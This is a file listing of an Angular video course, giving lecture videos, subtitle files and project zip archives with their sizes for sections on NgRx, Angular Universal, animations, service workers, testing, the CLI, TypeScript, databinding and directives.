    26 - Bonus Using NgRx For State Management/398 - Expanding the State.mp4 104.82 MB
    26 - Bonus Using NgRx For State Management/399 - Managing More State via NgRx English.srt 15.69 KB
    26 - Bonus Using NgRx For State Management/399 - Managing More State via NgRx.mp4 108.8 MB
    26 - Bonus Using NgRx For State Management/399 - ngrx-04-finished-shopping-list-updated.zip 286.18 KB
    26 - Bonus Using NgRx For State Management/399 - ngrx-04-finished-shopping-list.zip 105.47 KB
    26 - Bonus Using NgRx For State Management/400 - Removing Redundant Component State Management English.srt 5.74 KB
    26 - Bonus Using NgRx For State Management/400 - Removing Redundant Component State Management.mp4 42.49 MB
    26 - Bonus Using NgRx For State Management/401 - First Summary Clean Up English.srt 9.08 KB
    26 - Bonus Using NgRx For State Management/401 - First Summary Clean Up.mp4 60.29 MB
    26 - Bonus Using NgRx For State Management/402 - One Root State English.srt 19.38 KB
    26 - Bonus Using NgRx For State Management/402 - One Root State.mp4 153.95 MB
    26 - Bonus Using NgRx For State Management/403 - Setting Up Auth Reducer Actions English.srt 13.97 KB
    26 - Bonus Using NgRx For State Management/403 - Setting Up Auth Reducer Actions.mp4 84.3 MB
    26 - Bonus Using NgRx For State Management/404 - Dispatching Auth Actions English.srt 7.62 KB
    26 - Bonus Using NgRx For State Management/404 - Dispatching Auth Actions.mp4 71.53 MB
    26 - Bonus Using NgRx For State Management/405 - Auth Finished For Now English.srt 10.72 KB
    26 - Bonus Using NgRx For State Management/405 - Auth Finished For Now.mp4 85.52 MB
    26 - Bonus Using NgRx For State Management/405 - ngrx-05-auth-without-effects-updated.zip 253.25 KB
    26 - Bonus Using NgRx For State Management/405 - ngrx-05-auth-without-effects.zip 105.88 KB
    26 - Bonus Using NgRx For State Management/406 - And Important Note on Actions English.srt 10.61 KB
    26 - Bonus Using NgRx For State Management/406 - And Important Note on Actions.mp4 63.44 MB
    26 - Bonus Using NgRx For State Management/407 - Exploring NgRx Effects English.srt 6.72 KB
    26 - Bonus Using NgRx For State Management/407 - Exploring NgRx Effects.mp4 41.05 MB
    26 - Bonus Using NgRx For State Management/408 - Defining the First Effect English.srt 8.6 KB
    26 - Bonus Using NgRx For State Management/408 - Defining the First Effect.mp4 32.53 MB
    26 - Bonus Using NgRx For State Management/409 - Important Avoid Effect.html 941 B
    26 - Bonus Using NgRx For State Management/410 - Effects Error Handling English.srt 16.56 KB
    26 - Bonus Using NgRx For State Management/410 - Effects Error Handling.mp4 101.91 MB
    26 - Bonus Using NgRx For State Management/411 - Login via NgRx Effects English.srt 15.41 KB
    26 - Bonus Using NgRx For State Management/411 - Login via NgRx Effects.mp4 107.25 MB
    26 - Bonus Using NgRx For State Management/412 - Managing UI State in NgRx English.srt 12.83 KB
    26 - Bonus Using NgRx For State Management/412 - Managing UI State in NgRx.mp4 102.52 MB
    26 - Bonus Using NgRx For State Management/413 - Finishing the Login Effect English.srt 10.83 KB
    26 - Bonus Using NgRx For State Management/413 - Finishing the Login Effect.mp4 80.51 MB
    26 - Bonus Using NgRx For State Management/413 - ngrx-06-login-effect-updated.zip 253.85 KB
    26 - Bonus Using NgRx For State Management/413 - ngrx-06-login-effect.zip 103.95 KB
    26 - Bonus Using NgRx For State Management/414 - Preparing Other Auth Actions English.srt 6.94 KB
    26 - Bonus Using NgRx For State Management/414 - Preparing Other Auth Actions.mp4 47.43 MB
    26 - Bonus Using NgRx For State Management/415 - Adding Signup English.srt 9.92 KB
    26 - Bonus Using NgRx For State Management/415 - Adding Signup.mp4 77.76 MB
    26 - Bonus Using NgRx For State Management/416 - Further Auth Effects English.srt 9.74 KB
    26 - Bonus Using NgRx For State Management/416 - Further Auth Effects.mp4 101.51 MB
    26 - Bonus Using NgRx For State Management/417 - Adding AutoLogin with NgRx English.srt 12.58 KB
    26 - Bonus Using NgRx For State Management/417 - Adding AutoLogin with NgRx.mp4 55.27 MB
    26 - Bonus Using NgRx For State Management/418 - Adding AutoLogout English.srt 9.65 KB
    26 - Bonus Using NgRx For State Management/418 - Adding AutoLogout.mp4 78.77 MB
    26 - Bonus Using NgRx For State Management/418 - ngrx-07-localstorage-effects.zip 108.25 KB
    26 - Bonus Using NgRx For State Management/419 - Finishing the Auth Effects English.srt 4.02 KB
    26 - Bonus Using NgRx For State Management/419 - Finishing the Auth Effects.mp4 47.23 MB
    26 - Bonus Using NgRx For State Management/419 - ngrx-07-auth-finished-updated.zip 254 KB
    26 - Bonus Using NgRx For State Management/419 - ngrx-08-auth-finished.zip 104.08 KB
    26 - Bonus Using NgRx For State Management/420 - Using the Store Devtools English.srt 10.17 KB
    26 - Bonus Using NgRx For State Management/420 - Using the Store Devtools.mp4 48.45 MB
    26 - Bonus Using NgRx For State Management/421 - The Router Store English.srt 3.5 KB
    26 - Bonus Using NgRx For State Management/421 - The Router Store.mp4 27.93 MB
    26 - Bonus Using NgRx For State Management/421 - ngrx-09-devtools-and-routing.zip 107.63 KB
    26 - Bonus Using NgRx For State Management/422 - Getting Started with NgRx for Recipes English.srt 18.11 KB
    26 - Bonus Using NgRx For State Management/422 - Getting Started with NgRx for Recipes.mp4 115.02 MB
    26 - Bonus Using NgRx For State Management/423 - Fetching Recipe Detail Data English.srt 15.42 KB
    26 - Bonus Using NgRx For State Management/423 - Fetching Recipe Detail Data.mp4 107.49 MB
    26 - Bonus Using NgRx For State Management/424 - Fetching Recipes Using the Resolver English.srt 18.1 KB
    26 - Bonus Using NgRx For State Management/424 - Fetching Recipes Using the Resolver.mp4 184.94 MB
    26 - Bonus Using NgRx For State Management/424 - ngrx-10-fetch-recipes-effect.zip 111.85 KB
    26 - Bonus Using NgRx For State Management/425 - Fixing the Auth Redirect English.srt 2.86 KB
    26 - Bonus Using NgRx For State Management/425 - Fixing the Auth Redirect.mp4 31.83 MB
    26 - Bonus Using NgRx For State Management/426 - Update Delete and Add Recipes English.srt 22.17 KB
    26 - Bonus Using NgRx For State Management/426 - Update Delete and Add Recipes.mp4 176.59 MB
    26 - Bonus Using NgRx For State Management/427 - Storing Recipes via Effects English.srt 8.25 KB
    26 - Bonus Using NgRx For State Management/427 - Storing Recipes via Effects.mp4 68.87 MB
    26 - Bonus Using NgRx For State Management/427 - ngrx-11-recipe-crud.zip 107.84 KB
    26 - Bonus Using NgRx For State Management/428 - Cleanup Work English.srt 3.06 KB
    26 - Bonus Using NgRx For State Management/428 - Cleanup Work.mp4 16.58 MB
    26 - Bonus Using NgRx For State Management/429 - Wrap Up English.srt 3.42 KB
    26 - Bonus Using NgRx For State Management/429 - Wrap Up.mp4 26.62 MB
    26 - Bonus Using NgRx For State Management/429 - ngrx-08-finished-updated.zip 251.62 KB
    26 - Bonus Using NgRx For State Management/429 - ngrx-12-finished.zip 103.7 KB
    26 - Bonus Using NgRx For State Management/430 - Alternative NgRx Syntax.html 1.4 KB
    26 - Bonus Using NgRx For State Management/430 - ngrx-create-functions-syntax.zip 112.22 KB
    26 - Bonus Using NgRx For State Management/431 - Useful Resources Links.html 154 B
    26 - Bonus Using NgRx For State Management/431 - ngrx-01-first-reducer.zip 96.63 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-02-added-store.zip 97.55 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-03-added-actions.zip 98.71 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-04-finished-shopping-list.zip 105.47 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-05-auth-without-effects.zip 105.88 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-06-login-effect.zip 103.95 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-07-localstorage-effects.zip 108.25 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-08-auth-finished.zip 104.08 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-09-devtools-and-routing.zip 107.63 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-10-fetch-recipes-effect.zip 111.85 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-11-recipe-crud.zip 107.84 KB
    26 - Bonus Using NgRx For State Management/431 - ngrx-12-finished.zip 103.7 KB
    27 - Bonus Angular Universal/432 - Module Introduction English.srt 823 B
    27 - Bonus Angular Universal/432 - Module Introduction.mp4 1.36 MB
    27 - Bonus Angular Universal/433 - Angular Universal What Why English.srt 11.98 KB
    27 - Bonus Angular Universal/433 - Angular Universal What Why.mp4 29.21 MB
    27 - Bonus Angular Universal/433 - ng-universal-demo.zip 222.35 KB
    27 - Bonus Angular Universal/434 - Converting the App to a Universal App English.srt 4.91 KB
    27 - Bonus Angular Universal/434 - Converting the App to a Universal App.mp4 20.75 MB
    27 - Bonus Angular Universal/435 - Analyzing Running Serverside Code English.srt 8.67 KB
    27 - Bonus Angular Universal/435 - Analyzing Running Serverside Code.mp4 49.58 MB
    27 - Bonus Angular Universal/436 - A Closer Look At The Serverside Code English.srt 6.63 KB
    27 - Bonus Angular Universal/436 - A Closer Look At The Serverside Code.mp4 57.76 MB
    27 - Bonus Angular Universal/437 - Integrating a REST API English.srt 4.7 KB
    27 - Bonus Angular Universal/437 - Integrating a REST API.mp4 38.86 MB
    27 - Bonus Angular Universal/438 - Some Notes About Deploying Angular Universal Apps English.srt 7.04 KB
    27 - Bonus Angular Universal/438 - Some Notes About Deploying Angular Universal Apps.mp4 17.91 MB
    27 - Bonus Angular Universal/439 - Angular Universal Gotchas.html 927 B
    28 - Angular Animations/440 - Making Animations Work with Angular 4.html 1.28 KB
    28 - Angular Animations/441 - Introduction English.srt 1.94 KB
    28 - Angular Animations/441 - Introduction.mp4 5.9 MB
    28 - Angular Animations/442 - Setting up the Starting Project English.srt 1.76 KB
    28 - Angular Animations/442 - Setting up the Starting Project.mp4 5.5 MB
    28 - Angular Animations/442 - animations-start.zip 38.65 KB
    28 - Angular Animations/443 - Animations Triggers and State English.srt 12.55 KB
    28 - Angular Animations/443 - Animations Triggers and State.mp4 111.46 MB
    28 - Angular Animations/444 - Switching between States English.srt 3.39 KB
    28 - Angular Animations/444 - Switching between States.mp4 18.17 MB
    28 - Angular Animations/445 - Transitions English.srt 3.08 KB
    28 - Angular Animations/445 - Transitions.mp4 13.54 MB
    28 - Angular Animations/446 - Advanced Transitions English.srt 8.78 KB
    28 - Angular Animations/446 - Advanced Transitions.mp4 47.03 MB
    28 - Angular Animations/447 - Transition Phases English.srt 6.48 KB
    28 - Angular Animations/447 - Transition Phases.mp4 62.26 MB
    28 - Angular Animations/448 - The void State English.srt 10.22 KB
    28 - Angular Animations/448 - The void State.mp4 95.56 MB
    28 - Angular Animations/449 - Using Keyframes for Animations English.srt 8.73 KB
    28 - Angular Animations/449 - Using Keyframes for Animations.mp4 48.86 MB
    28 - Angular Animations/450 - Grouping Transitions English.srt 3.41 KB
    28 - Angular Animations/450 - Grouping Transitions.mp4 18.6 MB
    28 - Angular Animations/451 - Using Animation Callbacks English.srt 4.4 KB
    28 - Angular Animations/451 - Using Animation Callbacks.mp4 41.15 MB
    28 - Angular Animations/451 - animations-finished.zip 39.71 KB
    29 - Adding Offline Capabilities with Service Workers/452 - Module Introduction English.srt 3.62 KB
    29 - Adding Offline Capabilities with Service Workers/452 - Module Introduction.mp4 19.96 MB
    29 - Adding Offline Capabilities with Service Workers/452 - ng-pwa-01-start.zip 37.34 KB
    29 - Adding Offline Capabilities with Service Workers/453 - Adding Service Workers English.srt 23 KB
    29 - Adding Offline Capabilities with Service Workers/453 - Adding Service Workers.mp4 344.44 MB
    29 - Adding Offline Capabilities with Service Workers/454 - Caching Assets for Offline Use English.srt 9.87 KB
    29 - Adding Offline Capabilities with Service Workers/454 - Caching Assets for Offline Use.mp4 50.01 MB
    29 - Adding Offline Capabilities with Service Workers/455 - Caching Dynamic Assets URLs English.srt 12.8 KB
    29 - Adding Offline Capabilities with Service Workers/455 - Caching Dynamic Assets URLs.mp4 109.14 MB
    29 - Adding Offline Capabilities with Service Workers/455 - ng-pwa-02-finished.zip 61.12 KB
    29 - Adding Offline Capabilities with Service Workers/456 - Further Links Resources.html 342 B
    29 - Adding Offline Capabilities with Service Workers/456 - ng-pwa-02-finished.zip 61.12 KB
    3 - Course Project The Basics/44 - Project Introduction English.srt 2.06 KB
    3 - Course Project The Basics/44 - Project Introduction.mp4 926.22 KB
    3 - Course Project The Basics/45 - Planning the App English.srt 10.35 KB
    3 - Course Project The Basics/45 - Planning the App.mp4 9.29 MB
    3 - Course Project The Basics/46 - Creating a New App Correctly.html 1.79 KB
    3 - Course Project The Basics/47 - Setting up the Application English.srt 6.16 KB
    3 - Course Project The Basics/47 - Setting up the Application.mp4 17.77 MB
    3 - Course Project The Basics/47 - prj-start.zip 17.16 KB
    3 - Course Project The Basics/48 - Creating the Components English.srt 16.18 KB
    3 - Course Project The Basics/48 - Creating the Components.mp4 58.7 MB
    3 - Course Project The Basics/49 - Using the Components English.srt 5.5 KB
    3 - Course Project The Basics/49 - Using the Components.mp4 12.1 MB
    3 - Course Project The Basics/50 - Adding a Navigation Bar English.srt 9.17 KB
    3 - Course Project The Basics/50 - Adding a Navigation Bar.mp4 56.1 MB
    3 - Course Project The Basics/51 - Alternative NonCollapsable Navigation Bar.html 1.27 KB
    3 - Course Project The Basics/52 - Creating a Recipe Model English.srt 7.59 KB
    3 - Course Project The Basics/52 - Creating a Recipe Model.mp4 24.43 MB
    3 - Course Project The Basics/53 - Adding Content to the Recipes Components English.srt 11.96 KB
    3 - Course Project The Basics/53 - Adding Content to the Recipes Components.mp4 115.04 MB
    3 - Course Project The Basics/54 - Outputting a List of Recipes with ngFor English.srt 7.7 KB
    3 - Course Project The Basics/54 - Outputting a List of Recipes with ngFor.mp4 34.49 MB
    3 - Course Project The Basics/55 - Displaying Recipe Details English.srt 10.39 KB
    3 - Course Project The Basics/55 - Displaying Recipe Details.mp4 66.19 MB
    3 - Course Project The Basics/56 - Working on the ShoppingListComponent English.srt 3.02 KB
    3 - Course Project The Basics/56 - Working on the ShoppingListComponent.mp4 10.79 MB
    3 - Course Project The Basics/57 - Creating an Ingredient Model English.srt 4.1 KB
    3 - Course Project The Basics/57 - Creating an Ingredient Model.mp4 11.55 MB
    3 - Course Project The Basics/58 - Creating and Outputting the Shopping List English.srt 4.1 KB
    3 - Course Project The Basics/58 - Creating and Outputting the Shopping List.mp4 14.43 MB
    3 - Course Project The Basics/59 - Adding a Shopping List Edit Section English.srt 6.39 KB
    3 - Course Project The Basics/59 - Adding a Shopping List Edit Section.mp4 16.08 MB
    3 - Course Project The Basics/60 - Wrap Up Next Steps English.srt 1.49 KB
    3 - Course Project The Basics/60 - Wrap Up Next Steps.mp4 2.44 MB
    3 - Course Project The Basics/60 - prj-basics-final.zip 43.31 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/457 - About this Section.html 349 B
    30 - A Basic Introduction to Unit Testing in Angular Apps/458 - Introduction English.srt 2.36 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/458 - Introduction.mp4 4.32 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/459 - Why Unit Tests English.srt 4.34 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/459 - Why Unit Tests.mp4 8.09 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/460 - Analyzing the Testing Setup as created by the CLI English.srt 16.3 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/460 - Analyzing the Testing Setup as created by the CLI.mp4 75.03 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/461 - Running Tests with the CLI English.srt 3.38 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/461 - Running Tests with the CLI.mp4 44.21 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/462 - Adding a Component and some fitting Tests English.srt 10.04 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/462 - Adding a Component and some fitting Tests.mp4 94.29 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/463 - Testing Dependencies Components and Services English.srt 11.1 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/463 - Testing Dependencies Components and Services.mp4 64.73 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/464 - Simulating Async Tasks English.srt 15.38 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/464 - Simulating Async Tasks.mp4 160.37 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/465 - Using fakeAsync and tick English.srt 5 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/465 - Using fakeAsync and tick.mp4 38.02 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/466 - Isolated vs NonIsolated Tests English.srt 10.71 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/466 - Isolated vs NonIsolated Tests.mp4 95.98 MB
    30 - A Basic Introduction to Unit Testing in Angular Apps/467 - Further Resources Where to Go Next.html 1.29 KB
    30 - A Basic Introduction to Unit Testing in Angular Apps/467 - testing-final.zip 41.58 KB
    31 - Angular as a Platform Closer Look at the CLI/468 - Module Introduction English.srt 3.27 KB
    31 - Angular as a Platform Closer Look at the CLI/468 - Module Introduction.mp4 2.45 MB
    31 - Angular as a Platform Closer Look at the CLI/469 - A Closer Look at ng new English.srt 9.25 KB
    31 - Angular as a Platform Closer Look at the CLI/469 - A Closer Look at ng new.mp4 65.03 MB
    31 - Angular as a Platform Closer Look at the CLI/470 - IDE Project Setup English.srt 4.83 KB
    31 - Angular as a Platform Closer Look at the CLI/470 - IDE Project Setup.mp4 13.01 MB
    31 - Angular as a Platform Closer Look at the CLI/471 - Getting Started with Git.txt 51 B
    31 - Angular as a Platform Closer Look at the CLI/471 - Understanding the Config Files English.srt 16.74 KB
    31 - Angular as a Platform Closer Look at the CLI/471 - Understanding the Config Files.mp4 90.19 MB
    31 - Angular as a Platform Closer Look at the CLI/472 - Important CLI Commands English.srt 9.9 KB
    31 - Angular as a Platform Closer Look at the CLI/472 - Important CLI Commands.mp4 52.35 MB
    31 - Angular as a Platform Closer Look at the CLI/473 - The angularjson File A Closer Look English.srt 21.43 KB
    31 - Angular as a Platform Closer Look at the CLI/473 - The angularjson File A Closer Look.mp4 112.05 MB
    31 - Angular as a Platform Closer Look at the CLI/474 - Angular Schematics An Introduction English.srt 3.27 KB
    31 - Angular as a Platform Closer Look at the CLI/474 - Angular Schematics An Introduction.mp4 11.26 MB
    31 - Angular as a Platform Closer Look at the CLI/475 - The ng add Command English.srt 7.74 KB
    31 - Angular as a Platform Closer Look at the CLI/475 - The ng add Command.mp4 29.74 MB
    31 - Angular as a Platform Closer Look at the CLI/476 - Using Custom ng generate Schematics English.srt 5.57 KB
    31 - Angular as a Platform Closer Look at the CLI/476 - Using Custom ng generate Schematics.mp4 28.33 MB
    31 - Angular as a Platform Closer Look at the CLI/477 - Smooth Updating of Projects with ng update English.srt 3.87 KB
    31 - Angular as a Platform Closer Look at the CLI/477 - Smooth Updating of Projects with ng update.mp4 12.44 MB
    31 - Angular as a Platform Closer Look at the CLI/478 - Simplified Deployment with ng deploy English.srt 10.6 KB
    31 - Angular as a Platform Closer Look at the CLI/478 - Simplified Deployment with ng deploy.mp4 46.94 MB
    31 - Angular as a Platform Closer Look at the CLI/479 - Understanding Differential Loading English.srt 11.3 KB
    31 - Angular as a Platform Closer Look at the CLI/479 - Understanding Differential Loading.mp4 53.87 MB
    31 - Angular as a Platform Closer Look at the CLI/480 - Managing Multiple Projects in One Folder English.srt 7.93 KB
    31 - Angular as a Platform Closer Look at the CLI/480 - Managing Multiple Projects in One Folder.mp4 34.41 MB
    31 - Angular as a Platform Closer Look at the CLI/481 - Angular Libraries An Introduction English.srt 4.84 KB
    31 - Angular as a Platform Closer Look at the CLI/481 - Angular Libraries An Introduction.mp4 25.71 MB
    31 - Angular as a Platform Closer Look at the CLI/482 - Wrap Up English.srt 2.57 KB
    31 - Angular as a Platform Closer Look at the CLI/482 - Wrap Up.mp4 16.56 MB
    32 - Angular Changes New Features/483 - A First Look At Angular Elements English.srt 27.62 KB
    32 - Angular Changes New Features/483 - A First Look At Angular Elements.mp4 235.51 MB
    33 - Course Roundup/484 - Thanks for being part of the course English.srt 2.07 KB
    33 - Course Roundup/484 - Thanks for being part of the course.mp4 21.73 MB
    33 - Course Roundup/485 - Bonus More Content.html 1.05 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/486 - Module Introduction English.srt 2.02 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/486 - Module Introduction.mp4 1.88 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/487 - What Why English.srt 9.88 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/487 - What Why.mp4 12.96 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/488 - Installing Using TypeScript English.srt 10.58 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/488 - Installing Using TypeScript.mp4 50.79 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/489 - Base Types Primitives English.srt 5.92 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/489 - Base Types Primitives.mp4 14.04 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/490 - Array Object Types English.srt 8.83 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/490 - Array Object Types.mp4 21.6 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/491 - Type Inference English.srt 4.2 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/491 - Type Inference.mp4 8.05 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/492 - Working with Union Types English.srt 4.48 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/492 - Working with Union Types.mp4 8.17 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/493 - Assigning Type Aliases English.srt 4.08 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/493 - Assigning Type Aliases.mp4 11.36 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/494 - Diving into Functions Function Types English.srt 7.81 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/494 - Diving into Functions Function Types.mp4 22.34 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/495 - Understanding Generics English.srt 11.57 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/495 - Understanding Generics.mp4 35.96 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/496 - Classes TypeScript English.srt 12.04 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/496 - Classes TypeScript.mp4 28.24 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/497 - Working with Interfaces English.srt 8.47 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/497 - Working with Interfaces.mp4 15.96 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/498 - Configuring the TypeScript Compiler English.srt 4.07 KB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/498 - Configuring the TypeScript Compiler.mp4 38.25 MB
    34 - Bonus TypeScript Introduction for Angular 2 Usage/499 - Module Resources.html 313 B
    34 - Bonus TypeScript Introduction for Angular 2 Usage/499 - typescript-intro-01-finished.zip 5.23 KB
    4 - Debugging/61 - Understanding Angular Error Messages English.srt 8.15 KB
    4 - Debugging/61 - Understanding Angular Error Messages.mp4 29.8 MB
    4 - Debugging/61 - debugging.zip 17.38 KB
    4 - Debugging/62 - Debugging Code in the Browser Using Sourcemaps English.srt 9.68 KB
    4 - Debugging/62 - Debugging Code in the Browser Using Sourcemaps.mp4 45.62 MB
    5 - Components Databinding Deep Dive/63 - Module Introduction English.srt 896 B
    5 - Components Databinding Deep Dive/63 - Module Introduction.mp4 2.13 MB
    5 - Components Databinding Deep Dive/63 - cmp-databinding-start.zip 18.54 KB
    5 - Components Databinding Deep Dive/64 - Splitting Apps into Components English.srt 10.21 KB
    5 - Components Databinding Deep Dive/64 - Splitting Apps into Components.mp4 53.37 MB
    5 - Components Databinding Deep Dive/65 - Property Event Binding Overview English.srt 2.89 KB
    5 - Components Databinding Deep Dive/65 - Property Event Binding Overview.mp4 5.43 MB
    5 - Components Databinding Deep Dive/66 - Binding to Custom Properties English.srt 9 KB
    5 - Components Databinding Deep Dive/66 - Binding to Custom Properties.mp4 40.88 MB
    5 - Components Databinding Deep Dive/67 - Assigning an Alias to Custom Properties English.srt 2.9 KB
    5 - Components Databinding Deep Dive/67 - Assigning an Alias to Custom Properties.mp4 10.45 MB
    5 - Components Databinding Deep Dive/68 - Binding to Custom Events English.srt 14.56 KB
    5 - Components Databinding Deep Dive/68 - Binding to Custom Events.mp4 67.42 MB
    5 - Components Databinding Deep Dive/69 - Assigning an Alias to Custom Events English.srt 1.46 KB
    5 - Components Databinding Deep Dive/69 - Assigning an Alias to Custom Events.mp4 7.11 MB
    5 - Components Databinding Deep Dive/70 - Custom Property and Event Binding Summary English.srt 3.31 KB
    5 - Components Databinding Deep Dive/70 - Custom Property and Event Binding Summary.mp4 15.86 MB
    5 - Components Databinding Deep Dive/71 - Understanding View Encapsulation English.srt 7.33 KB
    5 - Components Databinding Deep Dive/71 - Understanding View Encapsulation.mp4 69.66 MB
    5 - Components Databinding Deep Dive/72 - More on View Encapsulation English.srt 4.58 KB
    5 - Components Databinding Deep Dive/72 - More on View Encapsulation.mp4 24.24 MB
    5 - Components Databinding Deep Dive/73 - Using Local References in Templates English.srt 7.41 KB
    5 - Components Databinding Deep Dive/73 - Using Local References in Templates.mp4 41.33 MB
    5 - Components Databinding Deep Dive/74 - ViewChild in Angular 8.html 1 KB
    5 - Components Databinding Deep Dive/75 - Getting Access to the Template DOM with ViewChild English.srt 8.08 KB
    5 - Components Databinding Deep Dive/75 - Getting Access to the Template DOM with ViewChild.mp4 45.48 MB
    5 - Components Databinding Deep Dive/76 - Projecting Content into Components with ngcontent English.srt 5.62 KB
    5 - Components Databinding Deep Dive/76 - Projecting Content into Components with ngcontent.mp4 23.49 MB
    5 - Components Databinding Deep Dive/77 - Understanding the Component Lifecycle English.srt 8.9 KB
    5 - Components Databinding Deep Dive/77 - Understanding the Component Lifecycle.mp4 16.94 MB
    5 - Components Databinding Deep Dive/77 - lifecycle.pdf 10.87 KB
    5 - Components Databinding Deep Dive/78 - Seeing Lifecycle Hooks in Action English.srt 18.41 KB
    5 - Components Databinding Deep Dive/78 - Seeing Lifecycle Hooks in Action.mp4 184.98 MB
    5 - Components Databinding Deep Dive/79 - Lifecycle Hooks and Template Access English.srt 4.33 KB
    5 - Components Databinding Deep Dive/79 - Lifecycle Hooks and Template Access.mp4 22.66 MB
    5 - Components Databinding Deep Dive/80 - ContentChild in Angular 8.html 327 B
    5 - Components Databinding Deep Dive/81 - Getting Access to ngcontent with ContentChild English.srt 4.44 KB
    5 - Components Databinding Deep Dive/81 - Getting Access to ngcontent with ContentChild.mp4 27.92 MB
    5 - Components Databinding Deep Dive/82 - Wrap Up English.srt 1.52 KB
    5 - Components Databinding Deep Dive/82 - Wrap Up.mp4 4.19 MB
    5 - Components Databinding Deep Dive/82 - cmp-databinding-final.zip 21.52 KB
    5 - Components Databinding Deep Dive/83 - OPTIONAL Assignment Solution English.srt 20.87 KB
    5 - Components Databinding Deep Dive/83 - OPTIONAL Assignment Solution.mp4 339.87 MB
    5 - Components Databinding Deep Dive/83 - cmp-databinding-assignment-solution.zip 23.28 KB
    6 - Course Project Components Databinding/84 - Introduction English.srt 1.48 KB
    6 - Course Project Components Databinding/84 - Introduction.mp4 2.32 MB
    6 - Course Project Components Databinding/84 - prj-basics-final.zip 43.31 KB
    6 - Course Project Components Databinding/85 - Adding Navigation with Event Binding and ngIf English.srt 11.8 KB
    6 - Course Project Components Databinding/85 - Adding Navigation with Event Binding and ngIf.mp4 39.34 MB
    6 - Course Project Components Databinding/86 - Passing Recipe Data with Property Binding English.srt 8.28 KB
    6 - Course Project Components Databinding/86 - Passing Recipe Data with Property Binding.mp4 26.67 MB
    6 - Course Project Components Databinding/87 - Passing Data with Event and Property Binding Combined English.srt 16.78 KB
    6 - Course Project Components Databinding/87 - Passing Data with Event and Property Binding Combined.mp4 74.23 MB
    6 - Course Project Components Databinding/88 - Make sure you have FormsModule added.html 471 B
    6 - Course Project Components Databinding/89 - Allowing the User to Add Ingredients to the Shopping List English.srt 11.98 KB
    6 - Course Project Components Databinding/89 - Allowing the User to Add Ingredients to the Shopping List.mp4 43.54 MB
    6 - Course Project Components Databinding/89 - prj-cmp-databinding-final.zip 29.82 KB
    7 - Directives Deep Dive/100 - Building a Structural Directive English.srt 9.91 KB
    7 - Directives Deep Dive/100 - Building a Structural Directive.mp4 56.02 MB
    7 - Directives Deep Dive/101 - Understanding ngSwitch English.srt 4.61 KB
    7 - Directives Deep Dive/101 - Understanding ngSwitch.mp4 19.06 MB
    7 - Directives Deep Dive/101 - directives-final.zip 19.95 KB
    7 - Directives Deep Dive/90 - Module Introduction English.srt 2.46 KB
    7 - Directives Deep Dive/90 - Module Introduction.mp4 4.59 MB
    7 - Directives Deep Dive/90 - directives-start.zip 18.9 KB
    7 - Directives Deep Dive/91 - directives-start.zip 18.9 KB
    7 - Directives Deep Dive/91 - ngFor and ngIf Recap English.srt 6.04 KB
    7 - Directives Deep Dive/91 - ngFor and ngIf Recap.mp4 25.13 MB
    7 - Directives Deep Dive/92 - ngClass and ngStyle Recap English.srt 4.89 KB
    7 - Directives Deep Dive/92 - ngClass and ngStyle Recap.mp4 20.98 MB
    7 - Directives Deep Dive/93 - Creating a Basic Attribute Directive English.srt 11.56 KB
    7 - Directives Deep Dive/93 - Creating a Basic Attribute Directive.mp4 44.19 MB
    7 - Directives Deep Dive/94 - Using the Renderer to build a Better Attribute Directive English.srt 12.3 KB
    7 - Directives Deep Dive/94 - Using the Renderer to build a Better Attribute Directive.mp4 43.65 MB
    7 - Directives Deep Dive/95 - More about the Renderer.html 430 B
    7 - Directives Deep Dive/96 - Using HostListener to Listen to Host Events English.srt 6.64 KB
